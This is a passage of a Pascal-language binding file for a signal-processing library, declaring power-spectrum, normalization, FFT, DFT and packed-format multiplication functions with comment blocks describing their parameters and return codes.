ippsPowerSpectr_16s32f
Purpose:
Compute the power spectrum of complex data formed as two real vectors
Parameters:
pSrcRe - pointer to the real part of input vector.
pSrcIm - pointer to the image part of input vector.
pDst - pointer to the result.
len - vector length.
scaleFactor - scale factor for rezult (only for integer data).
Return:
ippStsNullPtrErr indicates that one or more pointers to the data is NULL.
ippStsSizeErr indicates that vector length is less or equal zero.
ippStsNoErr otherwise.
}
function ippsPowerSpectr_64f( pSrcRe : Ipp64fPtr ; pSrcIm : Ipp64fPtr ; pDst : Ipp64fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsPowerSpectr_32f( pSrcRe : Ipp32fPtr ; pSrcIm : Ipp32fPtr ; pDst : Ipp32fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsPowerSpectr_16s_Sfs( pSrcRe : Ipp16sPtr ; pSrcIm : Ipp16sPtr ; pDst : Ipp16sPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsPowerSpectr_16s32f( pSrcRe : Ipp16sPtr ; pSrcIm : Ipp16sPtr ; pDst : Ipp32fPtr ; len : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Linear Transform
------------------------------------------------------------------------------
Names:
ippsNormalize_64fc_I
ippsNormalize_32fc_I
ippsNormalize_16sc_ISfs
ippsNormalize_64fc
ippsNormalize_32fc
ippsNormalize_16sc_Sfs
Purpose:
Complex vector normalization using offset and division method.
Parameters:
pSrcDst - a complex vector for in-place operation
pSrc - an input complex vector
pDst - an output complex vector
len - a length of the arrays.
vsub - complex a subtrahend
vdiv - denominator
scaleFactor - a scale factor of output results (only for integer data)
Return:
ippStsNoErr Ok
ippStsNullPtrErr Some of pointers to input or output data are NULL
ippStsSizeErr The length of the arrays is less or equal zero
ippStsDivByZeroErr denominator equal zero or less than float
format minimum
}
function ippsNormalize_64fc_I( pSrcDst : Ipp64fcPtr ; len : Int32 ; vsub : Ipp64fc ; vdiv : Ipp64f ): IppStatus; _ippapi
function ippsNormalize_32fc_I( pSrcDst : Ipp32fcPtr ; len : Int32 ; vsub : Ipp32fc ; vdiv : Ipp32f ): IppStatus; _ippapi
function ippsNormalize_16sc_ISfs( pSrcDst : Ipp16scPtr ; len : Int32 ; vsub : Ipp16sc ; vdiv : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsNormalize_64fc( pSrc : Ipp64fcPtr ; pDst : Ipp64fcPtr ; len : Int32 ; vsub : Ipp64fc ; vdiv : Ipp64f ): IppStatus; _ippapi
function ippsNormalize_32fc( pSrc : Ipp32fcPtr ; pDst : Ipp32fcPtr ; len : Int32 ; vsub : Ipp32fc ; vdiv : Ipp32f ): IppStatus; _ippapi
function ippsNormalize_16sc_Sfs( pSrc : Ipp16scPtr ; pDst : Ipp16scPtr ; len : Int32 ; vsub : Ipp16sc ; vdiv : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Names:
ippsNormalize_64f_I
ippsNormalize_32f_I
ippsNormalize_16s_ISfs
ippsNormalize_64f
ippsNormalize_32f
ippsNormalize_16s_Sfs
Purpose:
Normalize elements of real vector with the help of offset and division.
Parameters:
pSrcDst - a vector of real data for in-place operation
pSrc - an input vector of real data
pDst - an output vector of real data
len - a length of the arrays.
vSub - subtrahend
vDiv - denominator
scaleFactor - a scale factor of output results (only for integer data)
Return:
ippStsNoErr Ok
ippStsNullPtrErr Some of pointers to input or output data are NULL
ippStsSizeErr The length of the arrays is less or equal zero
ippStsDivByZeroErr denominator equal zero or less than float
format minimum
}
function ippsNormalize_64f_I( pSrcDst : Ipp64fPtr ; len : Int32 ; vSub : Ipp64f ; vDiv : Ipp64f ): IppStatus; _ippapi
function ippsNormalize_32f_I( pSrcDst : Ipp32fPtr ; len : Int32 ; vSub : Ipp32f ; vDiv : Ipp32f ): IppStatus; _ippapi
function ippsNormalize_16s_ISfs( pSrcDst : Ipp16sPtr ; len : Int32 ; vSub : Ipp16s ; vDiv : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsNormalize_64f( pSrc : Ipp64fPtr ; pDst : Ipp64fPtr ; len : Int32 ; vSub : Ipp64f ; vDiv : Ipp64f ): IppStatus; _ippapi
function ippsNormalize_32f( pSrc : Ipp32fPtr ; pDst : Ipp32fPtr ; len : Int32 ; vSub : Ipp32f ; vDiv : Ipp32f ): IppStatus; _ippapi
function ippsNormalize_16s_Sfs( pSrc : Ipp16sPtr ; pDst : Ipp16sPtr ; len : Int32 ; vSub : Ipp16s ; vDiv : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Definitions for FFT Functions
----------------------------------------------------------------------------
FFT Get Size Functions
------------------------------------------------------------------------------
Name: ippsFFTGetSize_C, ippsFFTGetSize_R
Purpose: Computes the size of the FFT context structure and the size
of the required work buffer (in bytes)
Arguments:
order Base-2 logarithm of the number of samples in FFT
flag Flag to choose the results normalization factors
hint Option to select the algorithmic implementation of the transform
function
pSizeSpec Pointer to the size value of FFT specification structure
pSizeInit Pointer to the size value of the buffer for FFT initialization function
pSizeBuf Pointer to the size value of the FFT external work buffer
Return:
ippStsNoErr No errors
ippStsNullPtrErr One of the specified pointers is NULL
ippStsFftOrderErr FFT order value is illegal
ippStsFFTFlagErr Incorrect normalization flag value
}
function ippsFFTGetSize_C_32fc( order : Int32 ; flag : Int32 ; hint : IppHintAlgorithm ; pSpecSize : Int32Ptr ; pSpecBufferSize : Int32Ptr ; var pBufferSize : Int32 ): IppStatus; _ippapi
function ippsFFTGetSize_C_32f( order : Int32 ; flag : Int32 ; hint : IppHintAlgorithm ; pSpecSize : Int32Ptr ; pSpecBufferSize : Int32Ptr ; var pBufferSize : Int32 ): IppStatus; _ippapi
function ippsFFTGetSize_R_32f( order : Int32 ; flag : Int32 ; hint : IppHintAlgorithm ; pSpecSize : Int32Ptr ; pSpecBufferSize : Int32Ptr ; var pBufferSize : Int32 ): IppStatus; _ippapi
function ippsFFTGetSize_C_64fc( order : Int32 ; flag : Int32 ; hint : IppHintAlgorithm ; pSpecSize : Int32Ptr ; pSpecBufferSize : Int32Ptr ; var pBufferSize : Int32 ): IppStatus; _ippapi
function ippsFFTGetSize_C_64f( order : Int32 ; flag : Int32 ; hint : IppHintAlgorithm ; pSpecSize : Int32Ptr ; pSpecBufferSize : Int32Ptr ; var pBufferSize : Int32 ): IppStatus; _ippapi
function ippsFFTGetSize_R_64f( order : Int32 ; flag : Int32 ; hint : IppHintAlgorithm ; pSpecSize : Int32Ptr ; pSpecBufferSize : Int32Ptr ; var pBufferSize : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
FFT Context Functions
------------------------------------------------------------------------------
Name: ippsFFTInit_C, ippsFFTInit_R
Purpose: Initializes the FFT context structure
Arguments:
order Base-2 logarithm of the number of samples in FFT
flag Flag to choose the results normalization factors
hint Option to select the algorithmic implementation of the transform
function
ppFFTSpec Double pointer to the FFT specification structure to be created
pSpec Pointer to the FFT specification structure
pSpecBuffer Pointer to the temporary work buffer
Return:
ippStsNoErr No errors
ippStsNullPtrErr One of the specified pointers is NULL
ippStsFftOrderErr FFT order value is illegal
ippStsFFTFlagErr Incorrect normalization flag value
}
function ippsFFTInit_C_32fc( ppFFTSpec : IppsFFTSpec_C_32fcPtrPtr ; order : Int32 ; flag : Int32 ; hint : IppHintAlgorithm ; pSpec : Ipp8uPtr ; pSpecBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippsFFTInit_C_32f( ppFFTSpec : IppsFFTSpec_C_32fPtrPtr ; order : Int32 ; flag : Int32 ; hint : IppHintAlgorithm ; pSpec : Ipp8uPtr ; pSpecBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippsFFTInit_R_32f( ppFFTSpec : IppsFFTSpec_R_32fPtrPtr ; order : Int32 ; flag : Int32 ; hint : IppHintAlgorithm ; pSpec : Ipp8uPtr ; pSpecBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippsFFTInit_C_64fc( ppFFTSpec : IppsFFTSpec_C_64fcPtrPtr ; order : Int32 ; flag : Int32 ; hint : IppHintAlgorithm ; pSpec : Ipp8uPtr ; pSpecBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippsFFTInit_C_64f( ppFFTSpec : IppsFFTSpec_C_64fPtrPtr ; order : Int32 ; flag : Int32 ; hint : IppHintAlgorithm ; pSpec : Ipp8uPtr ; pSpecBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippsFFTInit_R_64f( ppFFTSpec : IppsFFTSpec_R_64fPtrPtr ; order : Int32 ; flag : Int32 ; hint : IppHintAlgorithm ; pSpec : Ipp8uPtr ; pSpecBuffer : Ipp8uPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
FFT Complex Transforms
------------------------------------------------------------------------------
Name: ippsFFTFwd_CToC, ippsFFTInv_CToC
Purpose: Computes forward and inverse FFT of a complex signal
Arguments:
pFFTSpec Pointer to the FFT context
pSrc Pointer to the source complex signal
pDst Pointer to the destination complex signal
pSrcRe Pointer to the real part of source signal
pSrcIm Pointer to the imaginary part of source signal
pDstRe Pointer to the real part of destination signal
pDstIm Pointer to the imaginary part of destination signal
pSrcDst Pointer to the complex signal
pSrcDstRe Pointer to the real part of signal
pSrcDstIm Pointer to the imaginary part of signal
pBuffer Pointer to the work buffer
scaleFactor Scale factor for output result
Return:
ippStsNoErr No errors
ippStsNullPtrErr One of the specified pointers with the exception of
pBuffer is NULL
ippStsContextMatchErr Invalid context structure
ippStsMemAllocErr Memory allocation fails
}
function ippsFFTFwd_CToC_32fc( pSrc : Ipp32fcPtr ; pDst : Ipp32fcPtr ; pFFTSpec : IppsFFTSpec_C_32fcPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippsFFTInv_CToC_32fc( pSrc : Ipp32fcPtr ; pDst : Ipp32fcPtr ; pFFTSpec : IppsFFTSpec_C_32fcPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippsFFTFwd_CToC_32f( pSrcRe : Ipp32fPtr ; pSrcIm : Ipp32fPtr ; pDstRe : Ipp32fPtr ; pDstIm : Ipp32fPtr ; pFFTSpec : IppsFFTSpec_C_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippsFFTInv_CToC_32f( pSrcRe : Ipp32fPtr ; pSrcIm : Ipp32fPtr ; pDstRe : Ipp32fPtr ; pDstIm : Ipp32fPtr ; pFFTSpec : IppsFFTSpec_C_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippsFFTFwd_CToC_32fc_I( pSrcDst : Ipp32fcPtr ; pFFTSpec : IppsFFTSpec_C_32fcPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippsFFTInv_CToC_32fc_I( pSrcDst : Ipp32fcPtr ; pFFTSpec : IppsFFTSpec_C_32fcPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippsFFTFwd_CToC_32f_I( pSrcDstRe : Ipp32fPtr ; pSrcDstIm : Ipp32fPtr ; pFFTSpec : IppsFFTSpec_C_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippsFFTInv_CToC_32f_I( pSrcDstRe : Ipp32fPtr ; pSrcDstIm : Ipp32fPtr ; pFFTSpec : IppsFFTSpec_C_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippsFFTFwd_CToC_64fc( pSrc : Ipp64fcPtr ; pDst : Ipp64fcPtr ; pFFTSpec : IppsFFTSpec_C_64fcPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippsFFTInv_CToC_64fc( pSrc : Ipp64fcPtr ; pDst : Ipp64fcPtr ; pFFTSpec : IppsFFTSpec_C_64fcPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippsFFTFwd_CToC_64f( pSrcRe : Ipp64fPtr ; pSrcIm : Ipp64fPtr ; pDstRe : Ipp64fPtr ; pDstIm : Ipp64fPtr ; pFFTSpec : IppsFFTSpec_C_64fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippsFFTInv_CToC_64f( pSrcRe : Ipp64fPtr ; pSrcIm : Ipp64fPtr ; pDstRe : Ipp64fPtr ; pDstIm : Ipp64fPtr ; pFFTSpec : IppsFFTSpec_C_64fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippsFFTFwd_CToC_64fc_I( pSrcDst : Ipp64fcPtr ; pFFTSpec : IppsFFTSpec_C_64fcPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippsFFTInv_CToC_64fc_I( pSrcDst : Ipp64fcPtr ; pFFTSpec : IppsFFTSpec_C_64fcPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippsFFTFwd_CToC_64f_I( pSrcDstRe : Ipp64fPtr ; pSrcDstIm : Ipp64fPtr ; pFFTSpec : IppsFFTSpec_C_64fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippsFFTInv_CToC_64f_I( pSrcDstRe : Ipp64fPtr ; pSrcDstIm : Ipp64fPtr ; pFFTSpec : IppsFFTSpec_C_64fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
FFT Real Packed Transforms
------------------------------------------------------------------------------
Name: ippsFFTFwd_RToPerm, ippsFFTFwd_RToPack, ippsFFTFwd_RToCCS
ippsFFTInv_PermToR, ippsFFTInv_PackToR, ippsFFTInv_CCSToR
Purpose: Computes forward and inverse FFT of a real signal
Perm : using ; Pack or Ccs packed format
Arguments:
pFFTSpec Pointer to the FFT context
pSrc Pointer to the source signal
pDst Pointer to thedestination signal
pSrcDst Pointer to the source/destination signal (in-place)
pBuffer Pointer to the work buffer
scaleFactor Scale factor for output result
Return:
ippStsNoErr No errors
ippStsNullPtrErr One of the specified pointers with the exception of
pBuffer is NULL
ippStsContextMatchErr Invalid context structure
ippStsMemAllocErr Memory allocation fails
}
function ippsFFTFwd_RToPerm_32f( pSrc : Ipp32fPtr ; pDst : Ipp32fPtr ; pFFTSpec : IppsFFTSpec_R_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippsFFTFwd_RToPack_32f( pSrc : Ipp32fPtr ; pDst : Ipp32fPtr ; pFFTSpec : IppsFFTSpec_R_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippsFFTFwd_RToCCS_32f( pSrc : Ipp32fPtr ; pDst : Ipp32fPtr ; pFFTSpec : IppsFFTSpec_R_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippsFFTInv_PermToR_32f( pSrc : Ipp32fPtr ; pDst : Ipp32fPtr ; pFFTSpec : IppsFFTSpec_R_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippsFFTInv_PackToR_32f( pSrc : Ipp32fPtr ; pDst : Ipp32fPtr ; pFFTSpec : IppsFFTSpec_R_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippsFFTInv_CCSToR_32f( pSrc : Ipp32fPtr ; pDst : Ipp32fPtr ; pFFTSpec : IppsFFTSpec_R_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippsFFTFwd_RToPerm_32f_I( pSrcDst : Ipp32fPtr ; pFFTSpec : IppsFFTSpec_R_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippsFFTFwd_RToPack_32f_I( pSrcDst : Ipp32fPtr ; pFFTSpec : IppsFFTSpec_R_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippsFFTFwd_RToCCS_32f_I( pSrcDst : Ipp32fPtr ; pFFTSpec : IppsFFTSpec_R_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippsFFTInv_PermToR_32f_I( pSrcDst : Ipp32fPtr ; pFFTSpec : IppsFFTSpec_R_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippsFFTInv_PackToR_32f_I( pSrcDst : Ipp32fPtr ; pFFTSpec : IppsFFTSpec_R_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippsFFTInv_CCSToR_32f_I( pSrcDst : Ipp32fPtr ; pFFTSpec : IppsFFTSpec_R_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippsFFTFwd_RToPerm_64f( pSrc : Ipp64fPtr ; pDst : Ipp64fPtr ; pFFTSpec : IppsFFTSpec_R_64fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippsFFTFwd_RToPack_64f( pSrc : Ipp64fPtr ; pDst : Ipp64fPtr ; pFFTSpec : IppsFFTSpec_R_64fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippsFFTFwd_RToCCS_64f( pSrc : Ipp64fPtr ; pDst : Ipp64fPtr ; pFFTSpec : IppsFFTSpec_R_64fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippsFFTInv_PermToR_64f( pSrc : Ipp64fPtr ; pDst : Ipp64fPtr ; pFFTSpec : IppsFFTSpec_R_64fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippsFFTInv_PackToR_64f( pSrc : Ipp64fPtr ; pDst : Ipp64fPtr ; pFFTSpec : IppsFFTSpec_R_64fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippsFFTInv_CCSToR_64f( pSrc : Ipp64fPtr ; pDst : Ipp64fPtr ; pFFTSpec : IppsFFTSpec_R_64fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippsFFTFwd_RToPerm_64f_I( pSrcDst : Ipp64fPtr ; pFFTSpec : IppsFFTSpec_R_64fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippsFFTFwd_RToPack_64f_I( pSrcDst : Ipp64fPtr ; pFFTSpec : IppsFFTSpec_R_64fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippsFFTFwd_RToCCS_64f_I( pSrcDst : Ipp64fPtr ; pFFTSpec : IppsFFTSpec_R_64fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippsFFTInv_PermToR_64f_I( pSrcDst : Ipp64fPtr ; pFFTSpec : IppsFFTSpec_R_64fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippsFFTInv_PackToR_64f_I( pSrcDst : Ipp64fPtr ; pFFTSpec : IppsFFTSpec_R_64fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippsFFTInv_CCSToR_64f_I( pSrcDst : Ipp64fPtr ; pFFTSpec : IppsFFTSpec_R_64fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Definitions for DFT Functions
----------------------------------------------------------------------------
DFT Context Functions
------------------------------------------------------------------------------
Name: ippsDFTGetSize_C, ippsDFTGetSize_R
Purpose: Computes the size of the DFT context structure and the size
of the required work buffer (in bytes)
Arguments:
length Length of the DFT transform
flag Flag to choose the results normalization factors
hint Option to select the algorithmic implementation of the transform
function
pSizeSpec Pointer to the size value of DFT specification structure
pSizeInit Pointer to the size value of the buffer for DFT initialization function
pSizeBuf Pointer to the size value of the DFT external work buffer
Return:
ippStsNoErr No errors
ippStsNullPtrErr One of the specified pointers is NULL
ippStsOrderErr Invalid length value
ippStsFFTFlagErr Incorrect normalization flag value
ippStsSizeErr Indicates an error when length is less than or equal to 0
}
function ippsDFTGetSize_C_32fc( length : Int32 ; flag : Int32 ; hint : IppHintAlgorithm ; pSizeSpec : Int32Ptr ; pSizeInit : Int32Ptr ; pSizeBuf : Int32Ptr ): IppStatus; _ippapi
function ippsDFTGetSize_C_32f( length : Int32 ; flag : Int32 ; hint : IppHintAlgorithm ; pSizeSpec : Int32Ptr ; pSizeInit : Int32Ptr ; pSizeBuf : Int32Ptr ): IppStatus; _ippapi
function ippsDFTGetSize_R_32f( length : Int32 ; flag : Int32 ; hint : IppHintAlgorithm ; pSizeSpec : Int32Ptr ; pSizeInit : Int32Ptr ; pSizeBuf : Int32Ptr ): IppStatus; _ippapi
function ippsDFTGetSize_C_64fc( length : Int32 ; flag : Int32 ; hint : IppHintAlgorithm ; pSizeSpec : Int32Ptr ; pSizeInit : Int32Ptr ; pSizeBuf : Int32Ptr ): IppStatus; _ippapi
function ippsDFTGetSize_C_64f( length : Int32 ; flag : Int32 ; hint : IppHintAlgorithm ; pSizeSpec : Int32Ptr ; pSizeInit : Int32Ptr ; pSizeBuf : Int32Ptr ): IppStatus; _ippapi
function ippsDFTGetSize_R_64f( length : Int32 ; flag : Int32 ; hint : IppHintAlgorithm ; pSizeSpec : Int32Ptr ; pSizeInit : Int32Ptr ; pSizeBuf : Int32Ptr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
DFT Init Functions
------------------------------------------------------------------------------
Name: ippsDFTInit_C, ippsDFTInit_R
Purpose: initialize of DFT context
Arguments:
length Length of the DFT transform
flag Flag to choose the results normalization factors
hint Option to select the algorithmic implementation of the transform
function
pDFTSpec Double pointer to the DFT context structure
pMemInit Pointer to initialization buffer
Return:
ippStsNoErr No errors
ippStsNullPtrErr One of the specified pointers is NULL
ippStsOrderErr Invalid length value
ippStsFFTFlagErr Incorrect normalization flag value
ippStsSizeErr Indicates an error when length is less than or equal to 0
}
function ippsDFTInit_C_32fc( length : Int32 ; flag : Int32 ; hint : IppHintAlgorithm ; pDFTSpec : IppsDFTSpec_C_32fcPtr ; pMemInit : Ipp8uPtr ): IppStatus; _ippapi
function ippsDFTInit_C_32f( length : Int32 ; flag : Int32 ; hint : IppHintAlgorithm ; pDFTSpec : IppsDFTSpec_C_32fPtr ; pMemInit : Ipp8uPtr ): IppStatus; _ippapi
function ippsDFTInit_R_32f( length : Int32 ; flag : Int32 ; hint : IppHintAlgorithm ; pDFTSpec : IppsDFTSpec_R_32fPtr ; pMemInit : Ipp8uPtr ): IppStatus; _ippapi
function ippsDFTInit_C_64fc( length : Int32 ; flag : Int32 ; hint : IppHintAlgorithm ; pDFTSpec : IppsDFTSpec_C_64fcPtr ; pMemInit : Ipp8uPtr ): IppStatus; _ippapi
function ippsDFTInit_C_64f( length : Int32 ; flag : Int32 ; hint : IppHintAlgorithm ; pDFTSpec : IppsDFTSpec_C_64fPtr ; pMemInit : Ipp8uPtr ): IppStatus; _ippapi
function ippsDFTInit_R_64f( length : Int32 ; flag : Int32 ; hint : IppHintAlgorithm ; pDFTSpec : IppsDFTSpec_R_64fPtr ; pMemInit : Ipp8uPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
DFT Complex Transforms
------------------------------------------------------------------------------
Name: ippsDFTFwd_CToC, ippsDFTInv_CToC
Purpose: Computes forward and inverse DFT of a complex signal
Arguments:
pDFTSpec Pointer to the DFT context
pSrc Pointer to the source complex signal
pDst Pointer to the destination complex signal
pSrcRe Pointer to the real part of source signal
pSrcIm Pointer to the imaginary part of source signal
pDstRe Pointer to the real part of destination signal
pDstIm Pointer to the imaginary part of destination signal
pBuffer Pointer to the work buffer
scaleFactor Scale factor for output result
Return:
ippStsNoErr No errors
ippStsNullPtrErr One of the specified pointers with the exception of
pBuffer is NULL
ippStsContextMatchErr Invalid context structure
ippStsMemAllocErr Memory allocation fails
}
function ippsDFTFwd_CToC_32fc( pSrc : Ipp32fcPtr ; pDst : Ipp32fcPtr ; pDFTSpec : IppsDFTSpec_C_32fcPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippsDFTInv_CToC_32fc( pSrc : Ipp32fcPtr ; pDst : Ipp32fcPtr ; pDFTSpec : IppsDFTSpec_C_32fcPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippsDFTFwd_CToC_32f( pSrcRe : Ipp32fPtr ; pSrcIm : Ipp32fPtr ; pDstRe : Ipp32fPtr ; pDstIm : Ipp32fPtr ; pDFTSpec : IppsDFTSpec_C_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippsDFTInv_CToC_32f( pSrcRe : Ipp32fPtr ; pSrcIm : Ipp32fPtr ; pDstRe : Ipp32fPtr ; pDstIm : Ipp32fPtr ; pDFTSpec : IppsDFTSpec_C_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippsDFTFwd_CToC_64fc( pSrc : Ipp64fcPtr ; pDst : Ipp64fcPtr ; pDFTSpec : IppsDFTSpec_C_64fcPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippsDFTInv_CToC_64fc( pSrc : Ipp64fcPtr ; pDst : Ipp64fcPtr ; pDFTSpec : IppsDFTSpec_C_64fcPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippsDFTFwd_CToC_64f( pSrcRe : Ipp64fPtr ; pSrcIm : Ipp64fPtr ; pDstRe : Ipp64fPtr ; pDstIm : Ipp64fPtr ; pDFTSpec : IppsDFTSpec_C_64fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippsDFTInv_CToC_64f( pSrcRe : Ipp64fPtr ; pSrcIm : Ipp64fPtr ; pDstRe : Ipp64fPtr ; pDstIm : Ipp64fPtr ; pDFTSpec : IppsDFTSpec_C_64fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
DFT Real Packed Transforms
{ ----------------------------------------------------------------------------
Name: ippsDFTFwd_RToPerm, ippsDFTFwd_RToPack, ippsDFTFwd_RToCCS
ippsDFTInv_PermToR, ippsDFTInv_PackToR, ippsDFTInv_CCSToR
Purpose: Compute forward and inverse DFT of a real signal
using Perm, Pack or Ccs packed format
Arguments:
pFFTSpec Pointer to the DFT context
pSrc Pointer to the source signal
pDst Pointer to the destination signal
pSrcDst Pointer to the source/destination signal (in-place)
pBuffer Pointer to the work buffer
scaleFactor Scale factor for output result
Return:
ippStsNoErr No errors
ippStsNullPtrErr One of the specified pointers with the exception of
pBuffer is NULL
ippStsContextMatchErr Invalid context structure
ippStsMemAllocErr Memory allocation fails
}
function ippsDFTFwd_RToPerm_32f( pSrc : Ipp32fPtr ; pDst : Ipp32fPtr ; pDFTSpec : IppsDFTSpec_R_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippsDFTFwd_RToPack_32f( pSrc : Ipp32fPtr ; pDst : Ipp32fPtr ; pDFTSpec : IppsDFTSpec_R_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippsDFTFwd_RToCCS_32f( pSrc : Ipp32fPtr ; pDst : Ipp32fPtr ; pDFTSpec : IppsDFTSpec_R_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippsDFTInv_PermToR_32f( pSrc : Ipp32fPtr ; pDst : Ipp32fPtr ; pDFTSpec : IppsDFTSpec_R_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippsDFTInv_PackToR_32f( pSrc : Ipp32fPtr ; pDst : Ipp32fPtr ; pDFTSpec : IppsDFTSpec_R_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippsDFTInv_CCSToR_32f( pSrc : Ipp32fPtr ; pDst : Ipp32fPtr ; pDFTSpec : IppsDFTSpec_R_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippsDFTFwd_RToPerm_64f( pSrc : Ipp64fPtr ; pDst : Ipp64fPtr ; pDFTSpec : IppsDFTSpec_R_64fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippsDFTFwd_RToPack_64f( pSrc : Ipp64fPtr ; pDst : Ipp64fPtr ; pDFTSpec : IppsDFTSpec_R_64fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippsDFTFwd_RToCCS_64f( pSrc : Ipp64fPtr ; pDst : Ipp64fPtr ; pDFTSpec : IppsDFTSpec_R_64fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippsDFTInv_PermToR_64f( pSrc : Ipp64fPtr ; pDst : Ipp64fPtr ; pDFTSpec : IppsDFTSpec_R_64fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippsDFTInv_PackToR_64f( pSrc : Ipp64fPtr ; pDst : Ipp64fPtr ; pDFTSpec : IppsDFTSpec_R_64fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippsDFTInv_CCSToR_64f( pSrc : Ipp64fPtr ; pDst : Ipp64fPtr ; pDFTSpec : IppsDFTSpec_R_64fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Vector multiplication in RCPack and in RCPerm formats
{ ----------------------------------------------------------------------------
Names: ippsMulPack, ippsMulPerm
Purpose: multiply two vectors stored in RCPack and RCPerm formats
Parameters:
pSrc pointer to input vector (in-place case)
pSrcDst pointer to output vector (in-place case)
pSrc1 pointer to first input vector
pSrc2 pointer to second input vector
pDst pointer to output vector
len vector`s length
scaleFactor scale factor
Return:
ippStsNullPtrErr pointer(s) to the data is NULL
ippStsSizeErr vector`s length is less or equal zero
ippStsNoErr otherwise
}
function ippsMulPack_32f_I( pSrc : Ipp32fPtr ; pSrcDst : Ipp32fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsMulPerm_32f_I( pSrc : Ipp32fPtr ; pSrcDst : Ipp32fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsMulPack_64f_I( pSrc : Ipp64fPtr ; pSrcDst : Ipp64fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsMulPerm_64f_I( pSrc : Ipp64fPtr ; pSrcDst : Ipp64fPtr ; len : Int32 ): IppStatus; _ippapi
